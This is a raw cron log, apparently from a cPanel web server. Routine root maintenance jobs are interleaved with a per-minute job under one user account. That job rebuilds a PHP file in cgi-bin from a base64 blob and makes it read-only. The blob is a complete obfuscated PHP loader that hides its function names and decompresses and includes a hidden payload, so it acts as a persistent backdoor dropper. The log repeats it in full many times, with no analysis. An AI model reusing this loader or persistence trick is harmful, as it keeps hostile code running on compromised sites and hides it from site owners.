Nov 11 22:39:01 server CROND[26455]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:39:01 server CROND[26456]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 22:40:01 server CROND[27224]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 22:40:01 server CROND[27225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 22:40:01 server CROND[27229]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 22:40:01 server CROND[27230]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:41:02 server CROND[28094]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:42:01 server CROND[28897]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:42:01 server CROND[28898]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 22:43:01 server CROND[29825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:44:01 server CROND[30632]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:45:01 server CROND[31580]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 22:45:01 server CROND[31581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:45:01 server CROND[31582]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 22:46:01 server CROND[32471]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:47:01 server CROND[857]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:48:01 server CROND[1680]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:49:01 server CROND[2073]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:50:01 server CROND[2850]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 22:50:01 server CROND[2852]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 22:50:01 server CROND[2853]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 22:50:01 server CROND[2855]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 22:50:01 server CROND[2854]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 22:51:01 server CROND[3678]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
